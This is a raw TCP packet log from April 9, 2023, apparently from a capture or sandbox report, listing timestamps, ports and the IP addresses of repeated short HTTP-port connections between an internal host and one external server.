Apr 9, 2023 02:58:58.627583981 CEST	49730	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:58.742770910 CEST	49732	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:58.769619942 CEST	80	49731	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:58.780639887 CEST	80	49730	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:58.897650003 CEST	80	49732	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:58.897866011 CEST	49732	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:58.898035049 CEST	49732	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.055157900 CEST	80	49732	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.058723927 CEST	80	49732	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.058792114 CEST	80	49732	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.058845997 CEST	80	49732	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.058897018 CEST	49732	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.058939934 CEST	49732	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.059178114 CEST	49732	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.176528931 CEST	49733	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.210226059 CEST	80	49732	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.322829962 CEST	80	49733	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.323024988 CEST	49733	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.323122978 CEST	49733	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.469227076 CEST	80	49733	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.471854925 CEST	80	49733	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.471893072 CEST	80	49733	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.471925020 CEST	80	49733	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.471939087 CEST	49733	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.471976995 CEST	49733	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.472524881 CEST	49733	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.584943056 CEST	49734	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.618805885 CEST	80	49733	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.742480993 CEST	80	49734	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.742604017 CEST	49734	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.742930889 CEST	49734	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.901638985 CEST	80	49734	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.905518055 CEST	80	49734	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.905575037 CEST	80	49734	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.905606985 CEST	80	49734	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:59.905656099 CEST	49734	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.905709028 CEST	49734	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:59.905868053 CEST	49734	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.020514965 CEST	49735	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.166981936 CEST	80	49735	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:00.167725086 CEST	49735	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.171130896 CEST	49735	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.317452908 CEST	80	49735	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:00.319890976 CEST	80	49735	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:00.319932938 CEST	80	49735	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:00.319962978 CEST	80	49735	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:00.320039034 CEST	49735	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.320039034 CEST	49735	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.320224047 CEST	49735	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.346466064 CEST	49734	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.428184986 CEST	49736	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.466428995 CEST	80	49735	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:00.503387928 CEST	80	49734	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:00.586358070 CEST	80	49736	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:00.586504936 CEST	49736	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.587085962 CEST	49736	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.748027086 CEST	80	49736	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:00.750747919 CEST	80	49736	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:00.750787020 CEST	80	49736	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:00.750813961 CEST	80	49736	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:00.750863075 CEST	49736	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.750901937 CEST	49736	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.756546974 CEST	49736	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.863970995 CEST	49737	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:00.916668892 CEST	80	49736	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.010472059 CEST	80	49737	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.013679028 CEST	49737	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:01.013955116 CEST	49737	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:01.160180092 CEST	80	49737	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.162934065 CEST	80	49737	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.162992954 CEST	80	49737	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.163047075 CEST	80	49737	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.163155079 CEST	49737	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:01.163199902 CEST	49737	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:01.163376093 CEST	49737	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:01.276341915 CEST	49738	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:01.309526920 CEST	80	49737	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.431310892 CEST	80	49738	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.431579113 CEST	49738	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:01.431916952 CEST	49738	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:01.594382048 CEST	80	49738	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.596823931 CEST	80	49738	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.596887112 CEST	80	49738	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.596931934 CEST	80	49738	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.596978903 CEST	80	49738	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.597002029 CEST	49738	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:01.597078085 CEST	49738	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:01.597174883 CEST	49738	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:01.597294092 CEST	49738	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:01.709280014 CEST	49739	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:01.758162022 CEST	80	49738	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.855736971 CEST	80	49739	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:01.855874062 CEST	49739	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:01.856004000 CEST	49739	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.002305984 CEST	80	49739	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.006186962 CEST	80	49739	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.006239891 CEST	80	49739	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.006310940 CEST	80	49739	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.006378889 CEST	49739	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.006455898 CEST	49739	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.006614923 CEST	49739	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.116426945 CEST	49740	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.270540953 CEST	80	49740	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.270672083 CEST	49740	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.270787954 CEST	49740	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.409111977 CEST	49739	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.428693056 CEST	80	49740	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.431674957 CEST	80	49740	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.431730032 CEST	80	49740	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.431756020 CEST	49740	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.431770086 CEST	80	49740	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.431797981 CEST	49740	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.431813955 CEST	49740	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.432128906 CEST	49740	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.538235903 CEST	49741	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.555583000 CEST	80	49739	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.592231035 CEST	80	49740	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.684770107 CEST	80	49741	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.685018063 CEST	49741	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.685173035 CEST	49741	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.831520081 CEST	80	49741	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.835270882 CEST	80	49741	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.835302114 CEST	80	49741	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.835324049 CEST	80	49741	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:02.835422039 CEST	49741	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.835463047 CEST	49741	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.835624933 CEST	49741	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.956998110 CEST	49742	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:02.981800079 CEST	80	49741	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:03.103351116 CEST	80	49742	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:03.103482008 CEST	49742	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.103620052 CEST	49742	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.251372099 CEST	80	49742	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:03.253639936 CEST	80	49742	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:03.253695965 CEST	80	49742	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:03.253753901 CEST	49742	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.253760099 CEST	80	49742	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:03.253813982 CEST	49742	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.253839970 CEST	49742	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.255132914 CEST	49742	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.380597115 CEST	49743	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.401340008 CEST	80	49742	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:03.527030945 CEST	80	49743	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:03.527162075 CEST	49743	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.527687073 CEST	49743	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.673835039 CEST	80	49743	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:03.676240921 CEST	80	49743	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:03.676285028 CEST	80	49743	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:03.676318884 CEST	80	49743	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:03.676348925 CEST	49743	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.676388979 CEST	49743	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.676430941 CEST	49743	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.677017927 CEST	49743	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.798798084 CEST	49744	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.823115110 CEST	80	49743	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:03.952574015 CEST	80	49744	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:03.952728987 CEST	49744	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:03.952845097 CEST	49744	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:04.105864048 CEST	80	49744	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.109641075 CEST	80	49744	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.109674931 CEST	80	49744	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.109699011 CEST	80	49744	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.109875917 CEST	49744	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:04.125811100 CEST	49744	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:04.241307974 CEST	49745	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:04.277609110 CEST	80	49744	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.394908905 CEST	80	49745	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.396215916 CEST	49745	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:04.399934053 CEST	49745	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:04.556529999 CEST	80	49745	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.559020042 CEST	80	49745	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.559057951 CEST	80	49745	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.559108019 CEST	80	49745	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.559134007 CEST	80	49745	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.559171915 CEST	49745	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:04.559211969 CEST	49745	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:04.559344053 CEST	49745	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:04.679213047 CEST	49746	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:04.825532913 CEST	80	49746	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.827975988 CEST	49746	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:04.828244925 CEST	49746	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:04.974196911 CEST	80	49746	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.976594925 CEST	80	49746	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.976646900 CEST	80	49746	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.976669073 CEST	80	49746	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:04.976819992 CEST	49746	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:04.976819992 CEST	49746	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:04.987493038 CEST	49745	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:05.020534992 CEST	49746	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:05.132698059 CEST	49747	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:05.135998964 CEST	80	49745	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:05.174818993 CEST	80	49746	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:05.279058933 CEST	80	49747	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:05.279248953 CEST	49747	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:05.279397011 CEST	49747	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:05.425781012 CEST	80	49747	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:05.429573059 CEST	80	49747	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:05.429605961 CEST	80	49747	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:05.429630041 CEST	80	49747	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:05.429728985 CEST	49747	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:05.429791927 CEST	49747	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:05.471044064 CEST	49747	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:05.617413044 CEST	80	49747	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:05.859006882 CEST	49748	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:06.023221970 CEST	80	49748	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:06.023417950 CEST	49748	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:06.041218996 CEST	49748	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:06.205112934 CEST	80	49748	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:06.207545042 CEST	80	49748	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:06.207580090 CEST	80	49748	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:06.207606077 CEST	80	49748	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:06.207633018 CEST	49748	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:06.207680941 CEST	49748	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:06.273689985 CEST	49748	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:06.383806944 CEST	49749	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:06.431734085 CEST	80	49748	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:06.542273045 CEST	80	49749	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:06.542484045 CEST	49749	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:06.597934961 CEST	49749	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:06.753300905 CEST	80	49749	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:06.755832911 CEST	80	49749	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:06.755872011 CEST	80	49749	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:06.755894899 CEST	80	49749	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:06.756012917 CEST	49749	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:06.756086111 CEST	49749	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:06.805329084 CEST	49749	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:06.963692904 CEST	80	49749	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:07.386037111 CEST	49750	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:07.532325029 CEST	80	49750	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:07.532473087 CEST	49750	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:07.602993011 CEST	49750	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:07.749300003 CEST	80	49750	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:07.751837969 CEST	80	49750	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:07.751878023 CEST	80	49750	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:07.751905918 CEST	80	49750	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:07.751910925 CEST	49750	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:07.751955032 CEST	49750	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:07.751965046 CEST	49750	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:07.752129078 CEST	49750	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:07.865433931 CEST	49751	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.012415886 CEST	80	49751	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:08.012517929 CEST	49751	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.012660027 CEST	49751	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.158931017 CEST	80	49751	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:08.159642935 CEST	49750	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.161721945 CEST	80	49751	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:08.161767960 CEST	80	49751	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:08.161818027 CEST	80	49751	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:08.161875963 CEST	49751	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.161931038 CEST	49751	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.178581953 CEST	49751	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.292361021 CEST	49752	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.305887938 CEST	80	49750	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:08.325014114 CEST	80	49751	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:08.454219103 CEST	80	49752	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:08.454344988 CEST	49752	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.454457045 CEST	49752	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.615309000 CEST	80	49752	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:08.618745089 CEST	80	49752	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:08.618771076 CEST	80	49752	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:08.618796110 CEST	80	49752	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:08.618854046 CEST	49752	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.618906021 CEST	49752	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.619051933 CEST	49752	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.726104021 CEST	49753	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.776614904 CEST	80	49752	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:08.882950068 CEST	80	49753	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:08.883081913 CEST	49753	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:08.883199930 CEST	49753	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.040887117 CEST	80	49753	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.043471098 CEST	80	49753	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.043493986 CEST	80	49753	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.043561935 CEST	49753	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.043595076 CEST	49753	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.043610096 CEST	80	49753	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.043684959 CEST	49753	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.043797016 CEST	49753	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.165229082 CEST	49754	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.311563015 CEST	80	49754	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.314310074 CEST	49754	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.314446926 CEST	49754	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.460952997 CEST	80	49754	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.463568926 CEST	80	49754	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.463619947 CEST	80	49754	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.463654995 CEST	80	49754	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.463686943 CEST	80	49754	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.463689089 CEST	49754	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.463732958 CEST	49754	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.463774920 CEST	49754	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.463937044 CEST	49754	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.568325996 CEST	49755	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.610148907 CEST	80	49754	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.659794092 CEST	49753	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.714725971 CEST	80	49755	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.717727900 CEST	49755	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.717982054 CEST	49755	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.806241989 CEST	80	49753	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.864147902 CEST	80	49755	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.866566896 CEST	80	49755	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.866600990 CEST	80	49755	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.866626024 CEST	80	49755	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:09.866723061 CEST	49755	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.866905928 CEST	49755	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:09.977009058 CEST	49756	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.126766920 CEST	80	49756	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:10.126874924 CEST	49756	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.127046108 CEST	49756	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.279720068 CEST	80	49756	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:10.283932924 CEST	80	49756	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:10.283970118 CEST	80	49756	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:10.283994913 CEST	80	49756	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:10.284125090 CEST	49756	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.284174919 CEST	49756	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.284286022 CEST	49756	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.284775019 CEST	49755	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.399914980 CEST	49757	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.431018114 CEST	80	49755	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:10.555953979 CEST	80	49757	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:10.556170940 CEST	49757	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.558175087 CEST	49757	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.691457033 CEST	49756	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.723927021 CEST	80	49757	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:10.726375103 CEST	80	49757	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:10.726423979 CEST	80	49757	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:10.726459026 CEST	80	49757	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:10.726571083 CEST	49757	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.726571083 CEST	49757	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.726824045 CEST	49757	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.837093115 CEST	49758	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:10.860146046 CEST	80	49756	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:10.894645929 CEST	80	49757	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:10.983424902 CEST	80	49758	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:10.983620882 CEST	49758	80	192.168.2.5	88.216.210.27
